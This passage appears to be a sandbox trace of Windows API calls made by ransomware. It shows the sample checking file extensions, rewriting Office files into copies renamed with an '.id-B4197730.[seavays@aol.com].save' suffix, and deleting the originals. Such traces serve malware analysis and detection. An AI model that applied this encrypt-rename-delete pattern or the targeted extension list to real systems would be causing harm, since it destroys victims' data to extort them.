[0056.838] lstrlenW (lpString=".xls") returned 4 [0056.838] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.838] lstrlenW (lpString=".xlsx") returned 5 [0056.838] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.838] lstrlenW (lpString=".ppt") returned 4 [0056.838] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0056.838] lstrlenW (lpString=".zip") returned 4 [0056.838] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.839] lstrlenW (lpString=".rar") returned 4 [0056.839] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.839] lstrlenW (lpString=".bz2") returned 4 [0056.839] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.839] lstrlenW (lpString=".7z") returned 3 [0056.839] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0056.839] lstrlenW (lpString=".dbf") returned 4 [0056.839] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0056.839] lstrlenW (lpString=".1cd") returned 4 [0056.839] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0056.839] lstrlenW (lpString=".jpg") returned 4 [0056.839] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0056.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0056.839] lstrlenW (lpString=".doc") returned 4 [0056.839] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.839] lstrlenW (lpString=".docx") returned 5 [0056.839] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0056.839] lstrlenW (lpString=".pdf") returned 4 [0056.839] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.839] lstrlenW (lpString=".xls") returned 4 [0056.839] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.839] lstrlenW (lpString=".xlsx") returned 5 [0056.839] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0056.840] lstrlenW (lpString=".ppt") returned 4 [0056.840] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0056.840] lstrlenW (lpString=".zip") returned 4 [0056.840] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.840] lstrlenW (lpString=".rar") returned 4 [0056.840] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.840] lstrlenW (lpString=".bz2") returned 4 [0056.840] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.840] lstrlenW (lpString=".7z") returned 3 [0056.840] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0056.840] lstrlenW (lpString=".dbf") returned 4 [0056.840] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0056.840] lstrlenW (lpString=".1cd") returned 4 [0056.840] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0056.840] lstrlenW (lpString=".jpg") returned 4 [0056.840] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.840] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0056.840] lstrlenW (lpString="FileSystemMetadata.xml") returned 22 [0056.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.841] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=281) returned 1 [0056.841] CloseHandle (hObject=0x314) returned 1 [0056.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0056.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.841] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.841] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0056.842] GetLastError () returned 0x0 [0056.842] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x119, lpOverlapped=0x0) returned 1 [0056.843] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x120, lpOverlapped=0x0) returned 1 [0056.844] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.844] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x100, lpOverlapped=0x0) returned 1 [0056.845] SetEndOfFile (hFile=0x2f0) returned 1 [0056.846] CloseHandle (hObject=0x2f0) returned 1 [0056.847] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.847] SetEndOfFile (hFile=0x314) returned 1 [0056.848] CloseHandle (hObject=0x314) returned 1 [0056.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0056.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0056.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0056.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0056.848] lstrlenW (lpString=".doc") returned 4 [0056.849] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.849] lstrlenW (lpString=".docx") returned 5 [0056.849] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0056.849] lstrlenW (lpString=".pdf") returned 4 [0056.849] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.849] lstrlenW (lpString=".xls") returned 4 [0056.849] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.849] lstrlenW (lpString=".xlsx") returned 5 [0056.849] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0056.849] lstrlenW (lpString=".ppt") returned 4 [0056.849] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0056.849] lstrlenW (lpString=".zip") returned 4 [0056.849] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.849] lstrlenW (lpString=".rar") returned 4 [0056.849] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.849] lstrlenW (lpString=".bz2") returned 4 [0056.849] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.849] lstrlenW (lpString=".7z") returned 3 [0056.849] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0056.849] lstrlenW (lpString=".dbf") returned 4 [0056.849] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0056.849] lstrlenW (lpString=".1cd") returned 4 [0056.849] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0056.850] lstrlenW (lpString=".jpg") returned 4 [0056.850] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0056.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0056.850] lstrlenW (lpString=".doc") returned 4 [0056.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0056.850] lstrlenW (lpString=".docx") returned 5 [0056.850] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0056.850] lstrlenW (lpString=".pdf") returned 4 [0056.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0056.850] lstrlenW (lpString=".xls") returned 4 [0056.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0056.850] lstrlenW (lpString=".xlsx") returned 5 [0056.850] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0056.850] lstrlenW (lpString=".ppt") returned 4 [0056.850] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0056.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0056.850] lstrlenW (lpString=".zip") returned 4 [0056.850] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0056.850] lstrlenW (lpString=".rar") returned 4 [0056.850] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0056.850] lstrlenW (lpString=".bz2") returned 4 [0056.850] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0056.850] lstrlenW (lpString=".7z") returned 3 [0056.850] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0056.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0056.850] lstrlenW (lpString=".dbf") returned 4 [0056.851] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0056.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0056.851] lstrlenW (lpString=".1cd") returned 4 [0056.851] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0056.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0056.851] lstrlenW (lpString=".jpg") returned 4 [0056.851] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0056.851] lstrcmpiW (lpString1=".HTM", lpString2=".save") returned -1 [0056.851] lstrlenW (lpString="OSPP.HTM") returned 8 [0056.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.852] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=174528) returned 1 [0056.852] CloseHandle (hObject=0x314) returned 1 [0056.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0056.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.853] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.853] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0056.855] GetLastError () returned 0x0 [0056.855] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2a9c0, lpOverlapped=0x0) returned 1 [0056.860] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2a9d0, lpOverlapped=0x0) returned 1 [0056.865] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.865] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1 [0056.865] SetEndOfFile (hFile=0x2f0) returned 1 [0056.866] CloseHandle (hObject=0x2f0) returned 1 [0056.871] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.871] SetEndOfFile (hFile=0x314) returned 1 [0056.873] CloseHandle (hObject=0x314) returned 1 [0056.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1 [0056.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0056.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0056.874] lstrlenW (lpString=".doc") returned 4 [0056.874] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0056.874] lstrlenW (lpString=".docx") returned 5 [0056.874] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0056.874] lstrlenW (lpString=".pdf") returned 4 [0056.874] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0056.874] lstrlenW (lpString=".xls") returned 4 [0056.874] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0056.874] lstrlenW (lpString=".xlsx") returned 5 [0056.875] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0056.875] lstrlenW (lpString=".ppt") returned 4 [0056.875] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0056.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0056.875] lstrlenW (lpString=".zip") returned 4 [0056.875] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0056.875] lstrlenW (lpString=".rar") returned 4 [0056.875] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0056.875] lstrlenW (lpString=".bz2") returned 4 [0056.875] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0056.875] lstrlenW (lpString=".7z") returned 3 [0056.875] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0056.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0056.875] lstrlenW (lpString=".dbf") returned 4 [0056.875] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0056.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0056.875] lstrlenW (lpString=".1cd") returned 4 [0056.875] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0056.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0056.875] lstrlenW (lpString=".jpg") returned 4 [0056.875] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0056.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0056.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0056.875] lstrlenW (lpString=".doc") returned 4 [0056.875] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0056.875] lstrlenW (lpString=".docx") returned 5 [0056.876] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0056.876] lstrlenW (lpString=".pdf") returned 4 [0056.876] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0056.876] lstrlenW (lpString=".xls") returned 4 [0056.876] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0056.876] lstrlenW (lpString=".xlsx") returned 5 [0056.876] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0056.876] lstrlenW (lpString=".ppt") returned 4 [0056.876] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0056.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0056.876] lstrlenW (lpString=".zip") returned 4 [0056.876] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0056.876] lstrlenW (lpString=".rar") returned 4 [0056.876] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0056.876] lstrlenW (lpString=".bz2") returned 4 [0056.876] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0056.876] lstrlenW (lpString=".7z") returned 3 [0056.876] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0056.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0056.876] lstrlenW (lpString=".dbf") returned 4 [0056.876] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0056.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0056.876] lstrlenW (lpString=".1cd") returned 4 [0056.876] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0056.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0056.876] lstrlenW (lpString=".jpg") returned 4 [0056.876] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0056.877] lstrcmpiW (lpString1=".VBS", lpString2=".save") returned 1 [0056.877] lstrlenW (lpString="OSPP.VBS") returned 8 [0056.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.877] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=94467) returned 1 [0056.877] CloseHandle (hObject=0x314) returned 1 [0056.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0056.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.877] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.878] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0056.878] GetLastError () returned 0x0 [0056.878] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x17103, lpOverlapped=0x0) returned 1 [0057.606] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x17110, lpOverlapped=0x0) returned 1 [0057.609] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.609] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1 [0057.609] SetEndOfFile (hFile=0x2f0) returned 1 [0057.609] CloseHandle (hObject=0x2f0) returned 1 [0057.613] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.613] SetEndOfFile (hFile=0x314) returned 1 [0057.614] CloseHandle (hObject=0x314) returned 1 [0057.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0057.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1 [0057.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0057.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0057.615] lstrlenW (lpString=".doc") returned 4 [0057.615] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0057.615] lstrlenW (lpString=".docx") returned 5 [0057.615] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0057.615] lstrlenW (lpString=".pdf") returned 4 [0057.615] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0057.615] lstrlenW (lpString=".xls") returned 4 [0057.615] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0057.615] lstrlenW (lpString=".xlsx") returned 5 [0057.615] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0057.615] lstrlenW (lpString=".ppt") returned 4 [0057.615] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0057.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0057.615] lstrlenW (lpString=".zip") returned 4 [0057.615] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0057.615] lstrlenW (lpString=".rar") returned 4 [0057.615] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0057.615] lstrlenW (lpString=".bz2") returned 4 [0057.615] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0057.615] lstrlenW (lpString=".7z") returned 3 [0057.616] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0057.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0057.616] lstrlenW (lpString=".dbf") returned 4 [0057.616] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0057.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0057.616] lstrlenW (lpString=".1cd") returned 4 [0057.616] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0057.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0057.616] lstrlenW (lpString=".jpg") returned 4 [0057.616] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0057.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0057.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0057.616] lstrlenW (lpString=".doc") returned 4 [0057.616] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0057.616] lstrlenW (lpString=".docx") returned 5 [0057.616] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0057.616] lstrlenW (lpString=".pdf") returned 4 [0057.616] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0057.616] 